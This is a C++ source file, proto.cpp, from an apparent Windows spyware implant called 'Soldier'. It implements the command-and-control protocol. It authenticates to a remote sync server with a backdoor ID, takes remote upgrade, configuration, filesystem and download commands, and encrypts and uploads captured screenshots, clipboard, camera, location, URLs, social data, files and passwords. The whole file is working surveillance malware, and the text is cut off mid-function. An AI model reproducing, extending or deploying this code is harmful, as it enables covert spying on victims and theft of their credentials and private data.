hackedteam/soldier-win

View on GitHub
Soldier/proto.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <Sddl.h>

#include "binpatch.h"
#include "globals.h"
#include "zmem.h"
#include "base64.h"
#include "utils.h"
#include "crypt.h"
#include "sha1.h"
#include "winhttp.h"
#include "proto.h"
#include "debug.h"
#include "main.h"
#include "device.h"
#include "screenshot.h"
#include "crypt.h"
#include "upgrade.h"
#include "social.h"
#include "conf.h"
#include "position.h"
#include "clipboard.h"
#include "password.h"
#include "url.h"
#include "filesystem.h"
#include "conf.h"
#include "photo.h"
#include "log_cloudfile.h"

#undef _GLOBAL_VERSION_FUNCTIONS_
#include "version.h"

#pragma include_alias( "dxtrans.h", "camera.h" )
#define __IDxtCompositor_INTERFACE_DEFINED__
#define __IDxtAlphaSetter_INTERFACE_DEFINED__
#define __IDxtJpeg_INTERFACE_DEFINED__
#define __IDxtKey_INTERFACE_DEFINED__
#include "camera.h"

extern PDEVICE_CONTAINER lpDeviceContainer;
extern HANDLE g_hDevMutex; //defined in device.cpp

BYTE pCurrentRandomData[16];

BOOL ProtoAuth()
{
    BOOL bRet = FALSE;
    LPSTR lpAuthCmd = ProtoMessageAuth();

    BOOL bSend = WinHTTPSendData((LPBYTE)lpAuthCmd, strlen(lpAuthCmd));
    zfree(lpAuthCmd);

    if (!bSend)
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
        __asm int 3;
#endif    
        return FALSE;
    }

    LPBYTE lpBuffer;
    DWORD dwOut;
    LPPROTO_RESPONSE_AUTH lpProtoResponse = (LPPROTO_RESPONSE_AUTH) GetResponse(TRUE, &dwOut); 
    if (!lpProtoResponse || dwOut < sizeof(PROTO_RESPONSE_AUTH))
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
//        __asm int 3;
#endif

        zfree(lpProtoResponse);
        return FALSE;
    }

    if (VerifyMessage(lpProtoResponse->pRandomData, lpProtoResponse->pSha1Digest))
    {
        switch (lpProtoResponse->uProtoCommand) 
        {
        case PROTO_UNINSTALL:
            if (WinHTTPSendData(lpBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &lpBuffer)))
                zfree(lpBuffer);
            Uninstall();
            //__asm int 3; // not reached
        case PROTO_NO:
            bRet = FALSE;
            break;
        case PROTO_OK:
            bRet = TRUE;
            break;
        default:
            bRet = FALSE;
#ifdef _DEBUG
            OutputDebug(L"[!!] Got unknown response, uProtoCommand: %08x\n", lpProtoResponse->uProtoCommand);
            __asm int 3;
#endif
        }
    }
#ifdef _DEBUG
    else
    {
        OutputDebug(L"[!!] Cannot verify message integrity :((\n");
        __asm int 3; // FIXME 
    };
#endif

    zfree(lpProtoResponse);
    return bRet;
}

BOOL ProtoId()
{
    BOOL bSend;
    DWORD dwBuffLen;
    LPBYTE lpBuffer, lpCryptedBuffer;
    
    lpBuffer = ProtoMessageId(&dwBuffLen);
    bSend = WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_ID, lpBuffer, dwBuffLen, pSessionKey, &lpCryptedBuffer));
    zfree(lpCryptedBuffer);
    zfree(lpBuffer);

    if (!bSend)
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
        __asm int 3;
#endif
        return FALSE;
    }
    
    DWORD dwOut;
    LPPROTO_RESPONSE_ID lpProtoResponse = (LPPROTO_RESPONSE_ID)GetResponse(FALSE, &dwOut);
    if (!lpProtoResponse || dwOut < sizeof(PROTO_RESPONSE_ID))
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
        __asm int 3;
#endif
        zfree(lpProtoResponse);
        return FALSE;
    }

    if (lpProtoResponse->uProtoCommand != PROTO_OK)
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] Got uProtoCommand != PROTO_OK @ ProtoId()\n");
        __asm int 3;
#endif
        zfree(lpProtoResponse);
        return FALSE;
    }

    // parse availables.
    if (lpProtoResponse->uAvailables)
    {
        LPDWORD lpAvailables = (&lpProtoResponse->uAvailables) + 1;
        for (DWORD i=0; i<lpProtoResponse->uAvailables; i++)
        {
            if (lpAvailables[i] == PROTO_UPGRADE)
            {
                if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &lpCryptedBuffer)))
                {
                    LPPROTO_RESPONSE_UPGRADE lpProtoUpgrade = (LPPROTO_RESPONSE_UPGRADE)GetResponse(FALSE, &dwOut);
                    if (!lpProtoUpgrade || dwOut < sizeof(PROTO_RESPONSE_UPGRADE))
                    {
#ifdef _DEBUG
                        OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
                        __asm int 3;
#endif
                        zfree(lpProtoUpgrade);
                        zfree(lpCryptedBuffer);
                        continue;
                    }

                    if (lpProtoUpgrade) // FIXME check che c'e' abbastanza buffah (upgradenamelen + dwfilesize
                    {
                        LPWSTR strUpgradeName = (LPWSTR) zalloc(lpProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
                        memcpy(strUpgradeName, &lpProtoUpgrade->pUpgradeNameBuffer, lpProtoUpgrade->uUpgradeNameLen);

                        DWORD dwFileSize = *(LPDWORD) (((PBYTE)&lpProtoUpgrade->pUpgradeNameBuffer) + lpProtoUpgrade->uUpgradeNameLen);
                        LPBYTE lpFileBuff = (LPBYTE)(((LPBYTE)&lpProtoUpgrade->pUpgradeNameBuffer) + lpProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);

                        if (strUpgradeName[0] == L's' && strUpgradeName[1] == 'o')
                        {
                            if (!UpgradeSoldier(strUpgradeName, lpFileBuff, dwFileSize))
                            {

                            }
                        }
                        zfree(strUpgradeName);
                        zfree(lpProtoUpgrade);
                    }
                    
                }
                zfree(lpCryptedBuffer);
            }
            else if (lpAvailables[i] == PROTO_NEW_CONF)
            {
                if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_NEW_CONF, NULL, 0, pSessionKey, &lpCryptedBuffer)))
                {
                    LPDWORD lpRespBuffer = (LPDWORD) GetResponse(FALSE, &dwOut);
                    if (lpRespBuffer && dwOut >= 12 && lpRespBuffer[0] == PROTO_OK)
                    {
                        LPBYTE lpConfBuffer = (LPBYTE) (&lpRespBuffer[1]);
                        NewConf(lpConfBuffer, TRUE, TRUE);
                        StartModules();

                        zfree(lpCryptedBuffer);
                        DWORD dwOk = 1;
                        WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_NEW_CONF, (LPBYTE)&dwOk, sizeof(DWORD), pSessionKey, &lpCryptedBuffer));

                        LPBYTE lpResp = GetResponse(FALSE, &dwOut);
                        zfree(lpResp);
                    }
                    else
                    {
#ifdef _DEBUG
                        OutputDebug(L"[!] GOT != PROTO_OK for NEW_CONF, ptr:%x, size:%d", lpBuffer, dwOut); 
                        __asm int 3;
#endif
                    }

                    zfree(lpRespBuffer);
                    __asm nop;
                }
                zfree(lpCryptedBuffer);
            }
            else if (lpAvailables[i] == PROTO_FILESYSTEM)
            {
                if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_FILESYSTEM, NULL, 0, pSessionKey, &lpCryptedBuffer)))
                {
                    LPDWORD lpRespBuffer = (LPDWORD) GetResponse(FALSE, &dwOut);
                    if (lpRespBuffer && dwOut >= 4 && lpRespBuffer[0] == PROTO_OK)
                    {
                        DWORD dwMsgLen = lpRespBuffer[1];
                        DWORD dwNumDir = lpRespBuffer[2];
                        LPBYTE lpDirBuffer = (LPBYTE) &lpRespBuffer[3];

                        FileSystemHandler(dwMsgLen, dwNumDir, lpDirBuffer);
                    }

                    zfree(lpRespBuffer);
                }
                zfree(lpCryptedBuffer);
            }
            else if (lpAvailables[i] == PROTO_DOWNLOAD)
            {
                if (WinHTTPSendData(lpCryptedBuffer, CommandHash(PROTO_DOWNLOAD, NULL, 0, pSessionKey, &lpCryptedBuffer)))
                {
                    LPDWORD lpRespBuffer = (LPDWORD) GetResponse(FALSE, &dwOut);
                    if (lpRespBuffer && dwOut >= 4 && lpRespBuffer[0] == PROTO_OK)
                    {
                        DWORD dwMsgLen = lpRespBuffer[1];
                        DWORD dwNumFiles = lpRespBuffer[2];
                        LPBYTE lpFileBuffer = (LPBYTE) &lpRespBuffer[3];

                        DownloadHandler(dwMsgLen, dwNumFiles, lpFileBuffer);
                    }

                    zfree(lpRespBuffer);
                }

                zfree (lpCryptedBuffer);
            }
        }
    }
    zfree(lpProtoResponse);
    
    return TRUE;
}


LPBYTE PackEncryptEvidence(__in DWORD dwBufferSize, __in LPBYTE lpInBuffer, __in DWORD dwEvType, __in LPBYTE lpAdditionalData, __in DWORD dwAdditionalDataLen, __out LPDWORD dwOut)
{
    DWORD dwAlignedSize = Align(dwBufferSize, 16);
    LPBYTE lpCryptedBuff = (LPBYTE) zalloc(dwAlignedSize);
    memcpy(lpCryptedBuff, lpInBuffer, dwBufferSize);

    Encrypt(lpCryptedBuff, dwAlignedSize, pLogKey, PAD_NOPAD);

    DWORD dwHeaderSize;
    LPBYTE lpLogHeader = CreateLogHeader(dwEvType, lpAdditionalData, dwAdditionalDataLen, &dwHeaderSize);

    DWORD dwTotalRoundedSize = sizeof(DWORD) + dwHeaderSize + sizeof(DWORD) + dwAlignedSize;
    LPBYTE lpBuffer = (LPBYTE) zalloc(dwTotalRoundedSize);
    LPBYTE lpTmpBuff = lpBuffer;

    // total size
    *(LPDWORD)lpTmpBuff = dwTotalRoundedSize;
    lpTmpBuff += sizeof(DWORD);

    // header
    memcpy(lpTmpBuff, lpLogHeader, dwHeaderSize);
    lpTmpBuff += dwHeaderSize;
    zfree(lpLogHeader);

    // payload size (in clear)
    *(LPDWORD)lpTmpBuff = dwBufferSize;
    lpTmpBuff += sizeof(DWORD);

    //payload
    memcpy(lpTmpBuff, lpCryptedBuff, dwAlignedSize);
    zfree(lpCryptedBuff);

    *dwOut = dwTotalRoundedSize;
    return lpBuffer;
}

BOOL SendEvidence(LPBYTE lpBuffer, DWORD dwSize)
{
    BOOL bRet = FALSE;

    LPBYTE lpEncBuff;
    if (WinHTTPSendData(lpEncBuff, CommandHash(PROTO_EVIDENCE, lpBuffer, dwSize, pSessionKey, &lpEncBuff)))
    {
        DWORD dwOut;
        LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
        if (dwOut >= sizeof(DWORD) && lpRespBuff && *(LPDWORD)lpRespBuff == PROTO_OK)
            bRet = TRUE;
        
        zfree(lpRespBuff);
    }

    zfree(lpEncBuff);
    return bRet;
}

//encrypt the evidence with the session key and send it (the is already packed as an hashed command)
BOOL SendEvidence_Encrypt(LPBYTE lpBuffer, DWORD dwSize)
{
    DWORD dwAlignedSize=0;
    BOOL bRet = FALSE;

    //encrypt the packet with the session key
    Encrypt(lpBuffer, dwSize, pSessionKey, PAD_PKCS5);

    if(dwSize % 16)
        dwSize += 16 - (dwSize % 16);
    else
        dwSize += 16;

    dwAlignedSize = dwSize;

    if(WinHTTPSendData(lpBuffer, dwAlignedSize))
    {
        DWORD dwOut;
        LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
        if (dwOut >= sizeof(DWORD) && lpRespBuff && *(LPDWORD)lpRespBuff == PROTO_OK)
            bRet = TRUE;
        
        zfree(lpRespBuff);
    }

    return bRet;
}


BOOL ProtoEvidences()
{
    BOOL bRet = FALSE, bSendDevice = TRUE;

    if (lpDeviceContainer)
    {
        //wait for the mutex to be signaled
        if(g_hDevMutex != NULL)
        {
            if(WaitForSingleObject(g_hDevMutex, 5000) == WAIT_OBJECT_0)
                bSendDevice = TRUE;
            else
                bSendDevice = FALSE;
        }

        if(bSendDevice)
        {
            DWORD dwEvSize;
            LPBYTE lpEvBuffer = PackEncryptEvidence(lpDeviceContainer->uSize, (LPBYTE)lpDeviceContainer->pDataBuffer, PM_DEVICEINFO, NULL, 0, &dwEvSize);
            LPBYTE lpCryptedBuff;

            if (WinHTTPSendData(lpCryptedBuff, CommandHash(PROTO_EVIDENCE, lpEvBuffer, dwEvSize, pSessionKey, &lpCryptedBuff)))
            {
                DWORD dwOut;
                LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
                if (lpRespBuff && dwOut >= sizeof(DWORD))
                {
                    if (*(LPDWORD)lpRespBuff == PROTO_OK)
                    {
                        zfree(lpDeviceContainer->pDataBuffer);
                        zfree(lpDeviceContainer);
                        lpDeviceContainer = NULL;

                        bRet = TRUE;
                    }
                    else
                    {
    #ifdef _DEBUG
                        __asm int 3;
    #endif
                    }

                    zfree(lpRespBuff);
                }
            }
            zfree(lpEvBuffer);
            zfree(lpCryptedBuff);

            //release the mutex
            if(g_hDevMutex)
                ReleaseMutex(g_hDevMutex);
        }
    }
    
    Sleep(100);
    for (DWORD i=0; i<MAX_SCREENSHOT_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = lpScreenshotLogs[i].lpBuffer;
        DWORD dwEvSize = lpScreenshotLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                lpScreenshotLogs[i].lpBuffer = 0;
                lpScreenshotLogs[i].dwSize = 0;
                zfree(lpEvBuffer);
            }
        }
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_SOCIAL_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = lpSocialLogs[i].lpBuffer;
        DWORD dwEvSize = lpSocialLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                lpSocialLogs[i].lpBuffer = 0x0;
                lpSocialLogs[i].dwSize = 0;
                zfree(lpEvBuffer);
            }
        }
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_POSITION_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = lpPositionLogs[i].lpBuffer;
        DWORD dwEvSize = lpPositionLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                 lpPositionLogs[i].lpBuffer = 0;
                 lpPositionLogs[i].dwSize = 0;
                 zfree(lpEvBuffer);
            }
        }
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_CLIPBOARD_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = lpClipboardLogs[i].lpBuffer;
        DWORD dwEvSize = lpClipboardLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                lpClipboardLogs[i].lpBuffer = 0;
                lpClipboardLogs[i].dwSize = 0;
                zfree(lpEvBuffer);
            }
        }        
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_CAMERA_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = lpCameraLogs[i].lpBuffer;
        DWORD dwEvSize = lpCameraLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                lpCameraLogs[i].lpBuffer = 0;
                lpCameraLogs[i].dwSize = 0;
                zfree(lpEvBuffer);
            }
        }        
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_URL_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = g_lpURLLogs[i].lpBuffer;
        DWORD dwEvSize = g_lpURLLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            //#ifdef _DEBUG
            //OutputDebugString(L"[URL] Sending evidendce");
            //#endif

            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                g_lpURLLogs[i].lpBuffer = 0;
                g_lpURLLogs[i].dwSize = 0;
                zfree(lpEvBuffer);
            }
        }
    }

    // TODO: any specifc order among evidences enforced?
    Sleep(100);
    for (auto i=0; i < MAX_PHOTO_QUEUE; i++)
    {
        LPBYTE lpEvBuffer = lpPhotoLogs[i].lpBuffer;
        DWORD  dwEvSize   = lpPhotoLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize))
            {
                lpPhotoLogs[i].lpBuffer = 0;
                lpPhotoLogs[i].dwSize = 0;
                zfree_s(lpEvBuffer);
            }
        }
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_FILESYSTEM_QUEUE; i++)
    {
        // filesystem
        LPBYTE lpEvBuffer = lpFileSystemLogs[i].lpBuffer;
        DWORD dwEvSize = lpFileSystemLogs[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize))
            {
                lpFileSystemLogs[i].lpBuffer = 0;
                lpFileSystemLogs[i].dwSize = 0;
                zfree(lpEvBuffer);
            }
        }

        // download
        LPWSTR strFileName = lpDownloadLogs[i].strFileName;
        LPWSTR strDisplayName = lpDownloadLogs[i].strDisplayName;

        if (strFileName && strDisplayName)
        {
            LPBYTE lpHeader = NULL;
            DWORD dwHeaderSize, dwFileSize;
            LPBYTE lpFileBuffer = DownloadGetEvidence(strFileName, strDisplayName, &lpHeader, &dwHeaderSize, &dwFileSize);

            if (lpFileBuffer && dwFileSize && dwHeaderSize)
            {
                DWORD dwEvSize;
                LPBYTE lpEvBuffer = PackEncryptEvidence(dwFileSize, lpFileBuffer, PM_DOWNLOAD, (LPBYTE)lpHeader, dwHeaderSize, &dwEvSize);
                zfree(lpFileBuffer);
                zfree(lpHeader);

                if (lpEvBuffer)
                {
                    SendEvidence(lpEvBuffer, dwEvSize);

                    lpDownloadLogs[i].strFileName = 0;
                    lpDownloadLogs[i].strDisplayName = 0;

                    zfree(strFileName);
                    zfree(strDisplayName);
                    zfree(lpEvBuffer);
                }
            }
            /*
            if (lpEvBuffer)
            {




                SendEvidence(lpEvBuffer, dwEvSize);
                zfree(lpEvBuffer);
            }

            lpDownloadLogs[i].strFileName = 0;
            lpDownloadLogs[i].strDisplayName = 0;

            zfree(strFileName);
            zfree(strDisplayName);
            */
        }
    }

    if (lpPasswordLogs.dwSize && lpPasswordLogs.lpBuffer)
    {
        LPBYTE lpEvBuffer = lpPasswordLogs.lpBuffer;
        DWORD dwEvSize = lpPasswordLogs.dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
            {
                lpPasswordLogs.lpBuffer = 0;
                lpPasswordLogs.dwSize = 0;
                zfree(lpEvBuffer);
            }
        }        
    }

    Sleep(100);
    for (DWORD i=0; i<MAX_LOG_ENTRIES; i++)
    {
        LPBYTE lpEvBuffer = g_log_table[i].lpBuffer;
        DWORD  dwEvSize   = g_log_table[i].dwSize;

        if (dwEvSize != 0 && lpEvBuffer != NULL)
        {
            #ifdef _DEBUG
                OutputDebugString(L"\r\n[LOG] Sending log evidence\r\n");
            #endif

//            if(SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK

            if(SendEvidence_Encrypt(lpEvBuffer, dwEvSize))
            {
                g_log_table[i].lpBuffer = 0;
                g_log_table[i].dwSize    = 0;
                zfree(lpEvBuffer);
            }
        }
    }

    return bRet;
}

BOOL ProtoBye()
{
    LPBYTE lpCryptedBuff;

    if (!WinHTTPSendData(lpCryptedBuff, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &lpCryptedBuff)))
    {
#ifdef _DEBUG
        OutputDebug(L"[!!] PROTO_BYE FAIL: %08x\n", GetLastError());
        __asm int 3;
#endif
    }

    zfree(lpCryptedBuff);
    return TRUE;
}

BOOL Synch()
{
    BOOL bRet = FALSE;
    ULONG pServerPort;
    BYTE pServerIp[32];
    CHAR strIp[100];

    if (!GetSyncIp(strIp))
        return FALSE;

    if (!WinHTTPSetup((PBYTE)strIp, pServerIp, sizeof(pServerIp), &pServerPort))
    {
#ifdef _DEBUG
        OutputDebug(L"[!] WinHttpSetup FAIL\n");
        __asm int 3;
#endif
        return bRet;
    }

    if (ProtoAuth())
    {
        if (ProtoId())
        {
            if (ProtoEvidences())
            {
                bRet = TRUE;
            }
        }
        ProtoBye();
    }
                
    
    WinHTTPClose();

    return bRet;
}

LPBYTE ProtoMessageId(LPDWORD dwMsgLen)
{
    DWORD dwUser, dwComputer, dwSource;
    LPWSTR lpUserName = (LPWSTR)zalloc((MAX_FILE_PATH + 1) * sizeof(WCHAR));
    LPWSTR lpComputerName = (LPWSTR)zalloc((MAX_FILE_PATH + 1) * sizeof(WCHAR));

    GetEnvironmentVariable(L"USERNAME", lpUserName, MAX_FILE_PATH * sizeof(WCHAR));  //FIXME: array
    GetEnvironmentVariable(L"COMPUTERNAME", lpComputerName, MAX_FILE_PATH * sizeof(WCHAR));  //FIXME: array

    LPPASCAL_STRING lpUserNamePascal = PascalizeString(lpUserName, &dwUser);
    LPPASCAL_STRING lpComputerNamePascal = PascalizeString(lpComputerName, &dwComputer);
    LPPASCAL_STRING lpSourceId = PascalizeString(L"", &dwSource);

    zfree(lpUserName);
    zfree(lpComputerName);

    DWORD dwOffset = sizeof(DWORD);
    DWORD dwBuffLen = dwUser + dwComputer + dwSource + sizeof(DWORD);
    LPBYTE lpBuffer = (LPBYTE)zalloc(dwBuffLen);

    *(LPDWORD)lpBuffer = BUILD_VERSION;

    memcpy(lpBuffer + dwOffset, lpUserNamePascal, dwUser);
    dwOffset += dwUser;
    memcpy(lpBuffer + dwOffset, lpComputerNamePascal, dwComputer);
    dwOffset += dwComputer;
    memcpy(lpBuffer + dwOffset, lpSourceId, dwSource);

    zfree(lpUserNamePascal);
    zfree(lpComputerNamePascal);
    zfree(lpSourceId);

    *dwMsgLen = dwBuffLen;
    return lpBuffer;
}

LPSTR ProtoMessageAuth()
{
    BYTE pHashBuffer[20];

    DWORD dwRandomPoolSize = GetRandomInt(128, 1024);
    DWORD dwCryptBufferSize = sizeof(PROTO_COMMAND_AUTH);
    DWORD dwMessageSize = dwCryptBufferSize + dwRandomPoolSize; 

    LPPROTO_COMMAND_AUTH lpProtoCommand = (LPPROTO_COMMAND_AUTH) zalloc(dwMessageSize);
    
    // version
    lpProtoCommand->Version = 0x1;

    // ks
    AppendRandomData(pCurrentRandomData, 16);
    memcpy(lpProtoCommand->Kd, pCurrentRandomData, sizeof(lpProtoCommand->Kd));

    // kd[32] == confkey[16] + ks
    LPBYTE lpKD = (LPBYTE) zalloc(32);
    memcpy(lpKD, pConfKey, 16);
    memcpy(lpKD + 16, pCurrentRandomData, 16);

    // sha1(kd)
    CalculateSHA1(pHashBuffer, lpKD, 32);
    memcpy(lpProtoCommand->Sha1, pHashBuffer, sizeof(lpProtoCommand->Sha1));
    zfree(lpKD);

    // backdoor_id
    memcpy(lpProtoCommand->BdoorID, BACKDOOR_ID, min(sizeof(lpProtoCommand->BdoorID), strlen(BACKDOOR_ID)));
    
    // instance id
    LPBYTE lpInstanceId = GetUserUniqueHash();
    memcpy(lpProtoCommand->InstanceID, lpInstanceId, sizeof(lpProtoCommand->InstanceID));
    zfree(lpInstanceId);

    /* 
        determine whether it's a demo scout or not :
        - cautiously set demo to 0 (i.e. not demo)
        - if stars align properly set to demo
    */ 
    lpProtoCommand->SubType.Demo = 0x0;

    SHA1Context sha;
    SHA1Reset(&sha);
    SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1));
    if (SHA1Result(&sha)) 
    { 
        /* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
        unsigned nDemoTag[5];
        nDemoTag[0] = 1575563797;
        nDemoTag[1] = 2264195072;
        nDemoTag[2] = 3570558757;
        nDemoTag[3] = 2213518012;
        nDemoTag[4] = 971935466;
        
        if( nDemoTag[0] == sha.Message_Digest[0] &&
            nDemoTag[1] == sha.Message_Digest[1] &&
            nDemoTag[2] == sha.Message_Digest[2] &&
            nDemoTag[3] == sha.Message_Digest[3] &&
            nDemoTag[4] == sha.Message_Digest[4] )
        {
            lpProtoCommand->SubType.Demo = 0x1;
        }
        
    }

    // sub type => win, scout, release, reserved
    lpProtoCommand->SubType.Arch = 0x0;
        
    
    lpProtoCommand->SubType.Stage = 0x2;
    lpProtoCommand->SubType.Flags = 0x0;

    // encrypt + rand + base64 the whole thing
    Encrypt((LPBYTE)lpProtoCommand, dwCryptBufferSize, pServerKey, PAD_NOPAD);
    AppendRandomData(((LPBYTE)lpProtoCommand) + dwCryptBufferSize, dwRandomPoolSize);

    LPSTR lpEncodedMessage = (LPSTR) base64_encode((LPBYTE)lpProtoCommand, dwMessageSize);
    zfree(lpProtoCommand);

    return lpEncodedMessage;
}

LPPASCAL_STRING PascalizeString(__in LPWSTR lpString, __in LPDWORD dwOutLen)
{
    DWORD dwSize = (wcslen(lpString) + 1) * sizeof(WCHAR);
    LPPASCAL_STRING lpBuffer = (LPPASCAL_STRING)zalloc(dwSize + sizeof(DWORD));

    lpBuffer->dwStringLen = dwSize;
    wcscpy_s(lpBuffer->lpStringBuff, dwSize / sizeof(WCHAR), lpString);

    *dwOutLen = dwSize + sizeof(DWORD);
    return lpBuffer;
}

ULONG CommandHash(__in ULONG uProtoCmd, __in LPBYTE pMessage, __in ULONG uMessageLen, __in LPBYTE pEncryptionKey, __out LPBYTE *pOutBuff)
{
    ULONG uOut, uOutClear;
    LPBYTE pBuffer, pOutBuffer;
    BYTE pSha1Digest[20];

    uOutClear = sizeof(ULONG) + uMessageLen + 20;
    uOut = uOutClear;

    if (uOut % 16)
        uOut += 16 - (uOut % 16);
    else
        uOut += 16;
    
    // sha1(PROTO_* + version + message)
    pBuffer = (LPBYTE) zalloc(sizeof(ULONG) + uMessageLen);
    *(PULONG)pBuffer = uProtoCmd;
    if (pMessage)
        memcpy(pBuffer + sizeof(ULONG), pMessage, uMessageLen);
    CalculateSHA1(pSha1Digest, pBuffer, uMessageLen + sizeof(ULONG));

    // clear-text(cmd + message + sha1)
    pOutBuffer = (PBYTE) zalloc(uOut);
    *(PULONG)pOutBuffer = uProtoCmd;
    if (pMessage)
        memcpy(pOutBuffer + sizeof(ULONG), pMessage, uMessageLen);
    memcpy(pOutBuffer + sizeof(ULONG) + uMessageLen, pSha1Digest, 20);

    Encrypt(pOutBuffer, uOutClear, pEncryptionKey, PAD_PKCS5);

    *pOutBuff = pOutBuffer;
    
    zfree(pBuffer);
    return uOut;
}

LPBYTE GetUserUniqueHash()
{
    DWORD dwLen = 0;
    LPSTR pStringSid;
    HANDLE hToken = 0;
    LPBYTE lpUserHash = NULL;
    PTOKEN_USER pTokenOwner = NULL;
        
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY| TOKEN_QUERY_SOURCE, &hToken)) 
    {
        GetTokenInformation(hToken, TokenUser, pTokenOwner, 0, &dwLen);
        if (dwLen)
            pTokenOwner = (PTOKEN_USER) zalloc(dwLen);

        if (pTokenOwner) 
        {
            if (GetTokenInformation(hToken, TokenUser, pTokenOwner, dwLen, &dwLen) &&
                ConvertSidToStringSidA(pTokenOwner->User.Sid, &pStringSid)) 
            {
                lpUserHash = (LPBYTE) zalloc(SHA_DIGEST_LENGTH);
                CalculateSHA1(lpUserHash, (LPBYTE) pStringSid, strlen(pStringSid));
                LocalFree(pStringSid);                
            }
            zfree(pTokenOwner);
        }
        CloseHandle(hToken);
    }
    
    return lpUserHash;
}

LPBYTE DecodeMessage(LPBYTE lpMessage, DWORD dwMessageSize, BOOL bBase64, LPDWORD dwOut)
{
    LPBYTE lpBuffer;
    
    if (bBase64)
        lpBuffer = base64_decode((char*)lpMessage, dwMessageSize, (int *)dwOut);
    else
    {
        *dwOut = dwMessageSize;
        lpBuffer = (LPBYTE)zalloc(dwMessageSize);
        memcpy(lpBuffer, lpMessage, dwMessageSize);
    }
    
    Decrypt(lpBuffer, *dwOut, bBase64 ? pConfKey : pSessionKey);

    return lpBuffer;
}

BOOL VerifyMessage(LPBYTE lpRandNonce, LPBYTE lpHash)
{
    DWORD dwOffset = 0;
    BYTE pHashBuffer[20];
    LPBYTE lpBuffer = (LPBYTE)zalloc(48);

    memcpy(lpBuffer, pConfKey, 16);
    dwOffset += 16;
    memcpy(lpBuffer + dwOffset, lpRandNonce, 16);
    dwOffset += 16;
    memcpy(lpBuffer + dwOffset, pCurrentRandomData, 16);
    dwOffset += 16;

    CalculateSHA1(pHashBuffer, lpBuffer, dwOffset);

    dwOffset = 0;
    memcpy(lpBuffer, pHashBuffer, 20);
    dwOffset += 20;
    memcpy(lpBuffer + dwOffset, lpRandNonce, 16);
    dwOffset += 16;

    CalculateSHA1(pHashBuffer, lpBuffer, dwOffset);

    BOOL bRet;
    if (memcmp(pHashBuffer, lpHash, 20))
        bRet = FALSE;
    else
    {
        CalculateSessionKey(lpRandNonce);
        bRet = TRUE;
    }
        
    zfree(lpBuffer);

    return bRet;
}

VOID CalculateSessionKey(LPBYTE lpRandomNonce)
{
    LPBYTE lpBuffer = (LPBYTE)zalloc(48);

    memcpy(lpBuffer, pConfKey, 16);
    memcpy(lpBuffer + 16, lpRandomNonce, 16);
    memcpy(lpBuffer + 32, pCurrentRandomData, 16);
    CalculateSHA1(pSessionKey, lpBuffer, 48);

    zfree(lpBuffer);
}

LPBYTE GetResponse(BOOL bBase64, LPDWORD dwOut)
{
    DWORD dwResponseLen;
    LPBYTE lpDecodedMsg = NULL;
    LPBYTE lpResponseBuffer = WinHTTPGetResponse(&dwResponseLen);

